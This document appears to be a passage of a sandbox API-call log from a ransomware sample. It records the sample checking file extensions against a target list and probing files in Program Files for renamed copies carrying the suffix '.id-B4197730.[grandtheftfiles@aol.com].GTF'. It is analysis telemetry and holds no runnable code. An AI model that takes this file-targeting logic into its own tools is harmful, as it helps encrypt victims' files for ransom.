	[0153.928] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0153.928] lstrlenW (lpString=".ppt") returned 4
	[0153.928] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0153.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.928] lstrlenW (lpString=".zip") returned 4
	[0153.928] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0153.928] lstrlenW (lpString=".rar") returned 4
	[0153.928] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0153.928] lstrlenW (lpString=".bz2") returned 4
	[0153.928] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0153.928] lstrlenW (lpString=".7z") returned 3
	[0153.928] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0153.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.928] lstrlenW (lpString=".dbf") returned 4
	[0153.928] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0153.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.928] lstrlenW (lpString=".1cd") returned 4
	[0153.928] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0153.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.928] lstrlenW (lpString=".jpg") returned 4
	[0153.928] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0153.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.928] lstrlenW (lpString=".doc") returned 4
	[0153.928] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0153.929] lstrlenW (lpString=".docx") returned 5
	[0153.929] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0153.929] lstrlenW (lpString=".pdf") returned 4
	[0153.929] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0153.929] lstrlenW (lpString=".xls") returned 4
	[0153.929] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0153.929] lstrlenW (lpString=".xlsx") returned 5
	[0153.929] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0153.929] lstrlenW (lpString=".ppt") returned 4
	[0153.929] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0153.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.929] lstrlenW (lpString=".zip") returned 4
	[0153.929] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0153.929] lstrlenW (lpString=".rar") returned 4
	[0153.929] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0153.929] lstrlenW (lpString=".bz2") returned 4
	[0153.929] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0153.929] lstrlenW (lpString=".7z") returned 3
	[0153.929] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0153.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.929] lstrlenW (lpString=".dbf") returned 4
	[0153.929] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0153.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.929] lstrlenW (lpString=".1cd") returned 4
	[0153.929] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0153.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0153.929] lstrlenW (lpString=".jpg") returned 4
	[0153.929] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0153.929] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0153.929] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0153.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0153.930] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=48936) returned 1
	[0153.930] CloseHandle (hObject=0x3e8) returned 1
	[0153.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0153.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.930] lstrlenW (lpString=".doc") returned 4
	[0153.930] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0153.930] lstrlenW (lpString=".docx") returned 5
	[0153.930] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0153.930] lstrlenW (lpString=".pdf") returned 4
	[0153.930] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0153.930] lstrlenW (lpString=".xls") returned 4
	[0153.930] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0153.930] lstrlenW (lpString=".xlsx") returned 5
	[0153.930] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0153.930] lstrlenW (lpString=".ppt") returned 4
	[0153.930] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0153.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.930] lstrlenW (lpString=".zip") returned 4
	[0153.930] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0153.930] lstrlenW (lpString=".rar") returned 4
	[0153.930] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0153.931] lstrlenW (lpString=".bz2") returned 4
	[0153.931] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0153.931] lstrlenW (lpString=".7z") returned 3
	[0153.931] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0153.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.931] lstrlenW (lpString=".dbf") returned 4
	[0153.931] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0153.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.931] lstrlenW (lpString=".1cd") returned 4
	[0153.931] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0153.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.931] lstrlenW (lpString=".jpg") returned 4
	[0153.931] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0153.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.931] lstrlenW (lpString=".doc") returned 4
	[0153.931] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0153.931] lstrlenW (lpString=".docx") returned 5
	[0153.931] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0153.931] lstrlenW (lpString=".pdf") returned 4
	[0153.931] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0153.931] lstrlenW (lpString=".xls") returned 4
	[0153.931] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0153.931] lstrlenW (lpString=".xlsx") returned 5
	[0153.931] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0153.931] lstrlenW (lpString=".ppt") returned 4
	[0153.931] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0153.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.931] lstrlenW (lpString=".zip") returned 4
	[0153.931] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0153.931] lstrlenW (lpString=".rar") returned 4
	[0153.931] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0153.931] lstrlenW (lpString=".bz2") returned 4
	[0153.931] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0153.931] lstrlenW (lpString=".7z") returned 3
	[0153.931] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0153.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.931] lstrlenW (lpString=".dbf") returned 4
	[0153.932] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0153.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.932] lstrlenW (lpString=".1cd") returned 4
	[0153.932] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0153.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0153.932] lstrlenW (lpString=".jpg") returned 4
	[0153.932] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0153.932] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0153.932] lstrlenW (lpString="boxed-join.avi") returned 14
	[0153.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0153.954] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=46622) returned 1
	[0153.954] CloseHandle (hObject=0x3dc) returned 1
	[0153.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0153.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.955] lstrlenW (lpString=".doc") returned 4
	[0153.955] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0153.955] lstrlenW (lpString=".docx") returned 5
	[0153.955] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0153.955] lstrlenW (lpString=".pdf") returned 4
	[0153.955] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0153.955] lstrlenW (lpString=".xls") returned 4
	[0153.955] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0153.955] lstrlenW (lpString=".xlsx") returned 5
	[0153.955] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0153.955] lstrlenW (lpString=".ppt") returned 4
	[0153.955] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0153.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.955] lstrlenW (lpString=".zip") returned 4
	[0153.955] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0153.955] lstrlenW (lpString=".rar") returned 4
	[0153.955] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0153.955] lstrlenW (lpString=".bz2") returned 4
	[0153.955] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0153.955] lstrlenW (lpString=".7z") returned 3
	[0153.955] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0153.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.955] lstrlenW (lpString=".dbf") returned 4
	[0153.955] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0153.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.955] lstrlenW (lpString=".1cd") returned 4
	[0153.955] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0153.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.955] lstrlenW (lpString=".jpg") returned 4
	[0153.955] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0153.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.955] lstrlenW (lpString=".doc") returned 4
	[0153.955] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0153.955] lstrlenW (lpString=".docx") returned 5
	[0153.955] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0153.955] lstrlenW (lpString=".pdf") returned 4
	[0153.956] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0153.956] lstrlenW (lpString=".xls") returned 4
	[0153.956] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0153.956] lstrlenW (lpString=".xlsx") returned 5
	[0153.956] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0153.956] lstrlenW (lpString=".ppt") returned 4
	[0153.956] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0153.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.956] lstrlenW (lpString=".zip") returned 4
	[0153.956] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0153.956] lstrlenW (lpString=".rar") returned 4
	[0153.956] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0153.956] lstrlenW (lpString=".bz2") returned 4
	[0153.956] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0153.956] lstrlenW (lpString=".7z") returned 3
	[0153.956] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0153.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.956] lstrlenW (lpString=".dbf") returned 4
	[0153.956] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0153.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.956] lstrlenW (lpString=".1cd") returned 4
	[0153.956] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0153.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0153.956] lstrlenW (lpString=".jpg") returned 4
	[0153.956] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0153.956] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0153.956] lstrlenW (lpString="boxed-split.avi") returned 15
	[0153.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0153.957] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=84190) returned 1
	[0154.162] CloseHandle (hObject=0x3dc) returned 1
	[0154.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0154.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.513] lstrlenW (lpString=".doc") returned 4
	[0154.513] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.513] lstrlenW (lpString=".docx") returned 5
	[0154.513] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0154.513] lstrlenW (lpString=".pdf") returned 4
	[0154.513] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.513] lstrlenW (lpString=".xls") returned 4
	[0154.513] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.513] lstrlenW (lpString=".xlsx") returned 5
	[0154.513] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0154.513] lstrlenW (lpString=".ppt") returned 4
	[0154.513] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.513] lstrlenW (lpString=".zip") returned 4
	[0154.513] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.513] lstrlenW (lpString=".rar") returned 4
	[0154.513] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.513] lstrlenW (lpString=".bz2") returned 4
	[0154.513] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.513] lstrlenW (lpString=".7z") returned 3
	[0154.513] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.513] lstrlenW (lpString=".dbf") returned 4
	[0154.513] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.513] lstrlenW (lpString=".1cd") returned 4
	[0154.513] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.514] lstrlenW (lpString=".jpg") returned 4
	[0154.514] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.514] lstrlenW (lpString=".doc") returned 4
	[0154.514] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.514] lstrlenW (lpString=".docx") returned 5
	[0154.514] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0154.514] lstrlenW (lpString=".pdf") returned 4
	[0154.514] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.514] lstrlenW (lpString=".xls") returned 4
	[0154.514] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.514] lstrlenW (lpString=".xlsx") returned 5
	[0154.514] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0154.514] lstrlenW (lpString=".ppt") returned 4
	[0154.514] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.514] lstrlenW (lpString=".zip") returned 4
	[0154.514] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.514] lstrlenW (lpString=".rar") returned 4
	[0154.514] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.514] lstrlenW (lpString=".bz2") returned 4
	[0154.514] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.514] lstrlenW (lpString=".7z") returned 3
	[0154.514] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.514] lstrlenW (lpString=".dbf") returned 4
	[0154.514] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.514] lstrlenW (lpString=".1cd") returned 4
	[0154.514] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0154.514] lstrlenW (lpString=".jpg") returned 4
	[0154.514] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.515] Sleep (dwMilliseconds=0x64) 
	[0154.808] Sleep (dwMilliseconds=0x64) 
	[0155.020] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0155.020] lstrlenW (lpString="J0089992.WMF") returned 12
	[0155.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0155.739] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15680) returned 1
	[0155.757] CloseHandle (hObject=0x4ac) returned 1
	[0155.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220
	[0155.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0x20
	[0155.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.763] lstrlenW (lpString=".doc") returned 4
	[0155.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.763] lstrlenW (lpString=".docx") returned 5
	[0155.763] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0155.763] lstrlenW (lpString=".pdf") returned 4
	[0155.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.764] lstrlenW (lpString=".xls") returned 4
	[0155.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.764] lstrlenW (lpString=".xlsx") returned 5
	[0155.764] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0155.764] lstrlenW (lpString=".ppt") returned 4
	[0155.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.764] lstrlenW (lpString=".zip") returned 4
	[0155.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.764] lstrlenW (lpString=".rar") returned 4
	[0155.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.764] lstrlenW (lpString=".bz2") returned 4
	[0155.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.764] lstrlenW (lpString=".7z") returned 3
	[0155.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.764] lstrlenW (lpString=".dbf") returned 4
	[0155.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.764] lstrlenW (lpString=".1cd") returned 4
	[0155.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.764] lstrlenW (lpString=".jpg") returned 4
	[0155.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.764] lstrlenW (lpString=".doc") returned 4
	[0155.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.764] lstrlenW (lpString=".docx") returned 5
	[0155.764] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0155.764] lstrlenW (lpString=".pdf") returned 4
	[0155.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.764] lstrlenW (lpString=".xls") returned 4
	[0155.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.764] lstrlenW (lpString=".xlsx") returned 5
	[0155.764] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0155.765] lstrlenW (lpString=".ppt") returned 4
	[0155.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.765] lstrlenW (lpString=".zip") returned 4
